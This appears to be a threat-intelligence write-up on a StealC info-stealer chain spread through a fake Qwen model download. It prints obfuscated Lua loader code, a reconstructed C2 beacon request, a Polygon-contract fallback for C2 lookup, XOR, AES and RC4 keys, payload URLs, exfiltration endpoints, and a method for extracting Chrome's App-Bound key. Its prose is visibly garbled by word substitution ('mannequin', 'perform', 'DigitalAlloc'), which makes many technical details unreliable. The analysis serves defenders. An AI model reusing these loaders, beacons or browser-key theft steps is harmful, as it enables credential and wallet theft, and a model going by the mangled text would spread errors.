Threat Intelligence | The StealC Info-Stealing Chain Behind the Qwen Impersonation Repository
The following is an in depth technical evaluation.
The Three Files Inside the 487 KB Download Package
The whole content material of Application.cmd is a single command:
begin util.exe cert.txt
Including the line break, it is just 25 bytes. It doesn’t unpack the mannequin or name Ollama. Instead, it merely instructs util.exe in the identical listing to learn a textual content file, transferring management to the Lua script contained in cert.txt. There are not any different information in the archive; these three information make up the whole contents.
util.exe is 759,808 bytes in dimension and is a renamed LuaJIT 2.1 interpreter. LuaJIT itself is a Lua runtime extensively utilized by legit software program. The PDB path remaining in the PE file is D:adefold…luajit.pdb, pointing to a packaged artifact from the Defold sport engine. Static evaluation discovered no malicious conduct in util.exe that operates independently of a script; the file is barely answerable for executing the obfuscated Lua in the identical listing.
The identify cert.txt makes it appear to be a certificates, however its contents are a 182,116-byte single-line Lua script. The whole script accommodates no line breaks. All strings are break up into decimal escapes and desk lookups, so studying it straight reveals nothing however a mass of numbers and quick variable names. Below is a small excerpt from the starting of the file, with statements damaged into separate traces for readability and truncated with an ellipsis at the finish:
native xI=perform(okay)native B=""for G=1,#okay/2,1do B=B..okay[#k/2+k[G]]endreturn B finish
native ZI=perform(okay)native B,G=okay[#k],""for Q=1,#B,1do G=G..B[k[Q]]endreturn G finish
native AI={"116 83112 88";xI({5,4,3;1,2;" 83120 80"," 81 49 51 61";…
The first two features are answerable for retrieving characters by index and rearranging their order, whereas the third line onward accommodates the scattered string desk. The a whole lot of plaintext strings in the script are all saved on this kind and are solely reconstructed into their unique kind at runtime.
The danger entry level subsequently doesn’t lie in the so-called mannequin program. The archive supplies a general-purpose interpreter along with a textual content file, with all malicious logic contained in cert.txt.
C2 Response Completes the Subsequent Delivery Chain
After offline deobfuscation, the construction of cert.txt grew to become clear. It maintains a string desk containing a number of hundred entries, with all plaintext strings break up into numeric escapes and reconstructed byte by byte at runtime. The script makes use of LuaJIT FFI to parse and name Windows APIs similar to DigitalAlloc and CreateThread.
The loader is recognized as 845. Upon startup, it collects the hostname, username, GUID, and system model, makes use of BitBlt to seize a screenshot and reserve it as a BMP, then makes a request to an IP geolocation service to acquire geographic data. It combines these contents right into a multipart request and POSTs them to the hardcoded IP deal with 217[.]119[.]129[.]122. Below is the precise request we despatched after reconstructing it from the script:
POST/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=HTTP/1.1
Host: 217.119.129.122
Content-Type: multipart/form-data; boundary=udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Content-Length: 1704
--udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv
Content-Type: software/octet-stream
Content-Disposition: form-data; identify="file"; filename="fu9aipbutwexccwbsduf48460ua6c4baq9cc3ejn0hiqekfthy0iokzexox8lnnj290r14hmea"
BM6…
--udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv
Content-Type: software/json
Content-Disposition: form-data; identify="knowledge"
{"knowledge": "MjkyYzA0NTIzMzM1MDUzNjc3NGQ1OTA3NTczZTAxMDU1MzA0Nzc1ZDdh…"}
--udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv--
The string following /api/ in the path decodes to the consumer ID 517b7c5e5663656a057f. The screenshot is positioned in the file half, with the BM prefix indicating the BMP file header; the host data is positioned in the knowledge half. Both are included in the identical request. After decoding, knowledge accommodates simulated values similar to laptop=SIMULATED-PC&consumer=simulated-user&question=203.0.113.10, which don’t correspond to any actual host.
Tasks delivered by the server are processed in response to file extension, protecting 4 varieties: payloads executed straight in reminiscence, standalone executables, DLLs, and scripts. A single loader can subsequently deal with almost all frequent payload codecs. The script additionally accommodates performance for Defender exclusions, scheduled-task persistence, and task-completion callbacks. All three are situated in conditional branches, with whether or not they’re triggered relying on the loader configuration from the server and native situations. The configuration obtained on this case enabled solely persistence, whereas the others had been disabled. These are conditionally triggered features and don’t point out that the corresponding operations had been really accomplished on an actual host.
When the hardcoded deal with turns into unavailable, the loader has a fallback path. It sends an eth_call request to the Polygon chain, reads the return worth of selector 0x3bc5de30 from contract 0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc, and parses another C2 deal with from it. In our take a look at, this resolved to 194[.]48[.]248[.]94:
Request (statically reconstructed from the script)
{"jsonrpc":"2.0","technique":"eth_call","id":1,
"params":[{"to":"0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc",
"data":"0x3bc5de30"},"latest"]}
Response (examined through polygon.drpc.org, HTTP 200)
"end result":"0x
0000…000020 ← Data offset, pointing to the third line
0000…000014 ← String size 0x14 = 20 bytes
687474703a2f2f3139342e34382e3234382e3934 ← ASCII: http://194.48.248.94
+ 24 hexadecimal zeros, padded to 32 bytes"
The size prefix 0x14 is 20, which precisely matches the variety of characters in the decoded deal with, offering mutual affirmation between the two. This hex string doesn’t require our decoding script; it may be independently verified just by consulting an ASCII desk. Among the 5 RPC endpoints configured in the script, three returned the knowledge above with byte-for-byte consistency, one required a paid subscription, and one straight refused the request. Once the deal with is written to the public-chain contract, altering the server solely requires a single transaction; merely blocking the present fallback IP can not stop the contract from returning a brand new deal with later.
After correcting the request format in response to the script, the simulated beacon from 845 acquired an HTTP 200 response with 1,248 bytes of JSON.
The response fields bear three layers of encoding, with the decoding sequence being Base64 → lowercase hex → 32-byte repeating XOR. The XOR key ECe6VGLRJum2qYtl79OiOU7aHot7Zhbn is written straight in the script. The following two sections present the identical response earlier than and after decoding, with the first 56 characters of every excerpted:
{"loader":"M2U2MTA3NGYyNjI2M2YyMTE1MTEwODU0MTQzNzEwMDk0NTFiNzU0OTdm…",
"duties":"MWUzODQ3NWYzMjY1NzY3MjcyNDE1ZDFlNTE3YjE4MDU1OTUyNmQ1MzZm…"
The decoded content material is a loader coverage and a job:
[{ "id":840,
"link":"https://github.com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/tool.log",
"file_path":"Temp", "file_name":"dist.lua", "start":1,
"autorun":0, "relaunch":0, "hide":0,
"pump":{"size":-1,"status":false},
"dll_loader":{"func":null,"type":"LoadLibrary"} }]
The pump area controls whether or not random knowledge is used to increase the dropped file to the dimension specified by the server. This change was disabled in the present job.
The job downloads a file named software.log to %TEMPpercentdist.lua and executes it. The file is 396,616 bytes in dimension and consists completely of ASCII hexadecimal characters; after hex decoding adopted by XOR, it yields 198,308 bytes of obfuscated Lua. This is the second loader, recognized as 847, with its preliminary C2 modified to 217[.]119[.]129[.]97. Its obfuscation format is structurally an identical to that of 845. After executing the 847 loader with the identical simulated host knowledge, it despatched a beacon to 217[.]119[.]129[.]97, and the server returned two duties.
Of the two duties, one was nonetheless software.log, whereas the different pointed to verb.log in the identical repository, with the drop path set to AppData..LocalProgramsChromiumApplicationChromium.exe. The .. in the center traverses the path again into NativeAppData, with the ultimate filename masquerading as the foremost executable of the Chromium browser.
software.log, verb.log, and the two subsequent PE information all originated from C2 responses and had been downloaded to disk; none of them had been current in the unique ZIP. The ZIP itself demonstrates that the loader has the functionality to obtain and execute information; the preserved C2 responses present that, at the time of assortment, the server had issued subsequent obtain duties to loader ID 845.
StealC Payload Extracted from verb.log
Unpacking and Loading
verb.log is 3,089,408 bytes, additionally in ASCII hex. The transformation chain is hex/XOR → outer PE → Base64URL/AES → interior PE. Using the identical XOR key to decode it yields a 1,544,704-byte 64-bit outer PE. The Base64URL textual content in its useful resource part decodes to 797,728 bytes of AES-256-ECB ciphertext. The key bFYh8UMQGZOBUlvrpS3M4ZJybbubVbvg is derived by the outer PE from two fixed arrays and could be statically recovered. Decryption yields one other 797,728-byte 64-bit PE.
The outer PE manually maps the interior PE inside its personal course of: allocating reminiscence, copying the headers and sections, fixing relocations and the import desk, making a thread, and beginning it at the entry level. The static name chain accommodates no cross-process injection APIs similar to CreateProcess, WriteProcessMemory, SetThreadContext, or ResumeThread—the whole course of is reflective loading inside the identical course of.
Environment Checks
The interior payload first checks the setting: if the system default language is Russian, Ukrainian, Belarusian, Kazakh, or Uzbek, it exits. It then makes use of host data to assemble a named Event for single-instance management, adopted by a test of the embedded expiration date. Only in spite of everything checks go does it proceed to its foremost logic.
Collection Targets
- Browsers: Chrome, Edge, and Brave acquire login knowledge, cookies, looking historical past, and associated databases; Firefox makes use of NSS APIs to decrypt saved login data. When databases are locked, Restart Manager is used to terminate the processes holding them.
- Email and operations: Foxmail and Outlook account credentials, in addition to WinSCP session data. WinSCP periods straight correspond to servers accessible to the sufferer.
- Steam: Login configuration, tokens, and sentinel information.
Starting with Chrome 127, cookies and saved passwords are protected by App-Bound Encryption, with the key managed by a system-level service. Simply copying the database information can not retrieve the plaintext. To deal with this, the payload contains an auxiliary PE that makes use of Early-bird APC injection to inject right into a suspended chrome.exe, courageous.exe, or msedge.exe; the auxiliary module reads the encrypted App-Bound Key from inside the browser course of and makes use of the corresponding browser’s COM Elevation service interface to export the 32-byte plaintext key, permitting the beforehand collected database information to be learn once more.
Wallet assortment is completely managed by the server: a recursive collector dispatches file duties issued by the C2 in response to kind. The wallets department searches native directories primarily based on the job identify and filename; the C2 may concern extension IDs to gather storage and IndexedDB knowledge from the corresponding Chromium extensions. The plaintext pattern accommodates no pockets model names or set up paths, nor does it include mnemonic or private-key parsing implementations similar to BIP39 or secp256k1. Which wallets are collected is decided by duties issued by the server, so the static pattern can not present a goal record for this spherical.
Exfiltration and Attribution
The payload additionally accommodates performance for screenshots, gathering system data and course of lists, secondary obtain and execution through PowerShell, privilege escalation, and self-deletion upon exit.
Data is uploaded by way of JSON POST requests in 512 KiB chunks. The add endpoint is saved in the file encrypted with RC4 after which Base64-encoded. Decrypting it with the configuration key 55uUe45tr1x1xy1lSK yields http[:]//89[.]169[.]12[.]194; the request physique is encrypted with one other RC4 key.
StealC is a Windows information-stealing Trojan particularly designed to steal browser credentials, cookies, cryptocurrency wallets, and different delicate knowledge and ship them to an attacker-controlled C2. The assortment scope, App-Bound decryption helper, pockets department, and RC4-encrypted exfiltration applied by the interior payload are all in keeping with identified traits of StealC. Based on these traits, we attribute it to StealC.
If these supplies are efficiently obtained, the penalties differ: browser cookies can allow takeover of logged-in periods; electronic mail and Steam credentials can result in account losses; WinSCP periods can present entry to servers operated by the sufferer; and as soon as pockets non-public keys or seed phrases are uncovered, asset transfers can’t be reversed.
Recheck Confirms Distribution Infrastructure Is Rotating
On August 26, we resent the three beacon requests utilizing the identical simulated host knowledge. All three endpoints returned HTTP 200, and the loader coverage fields remained utterly unchanged. The change appeared in the obtain URLs laid out in the duties.
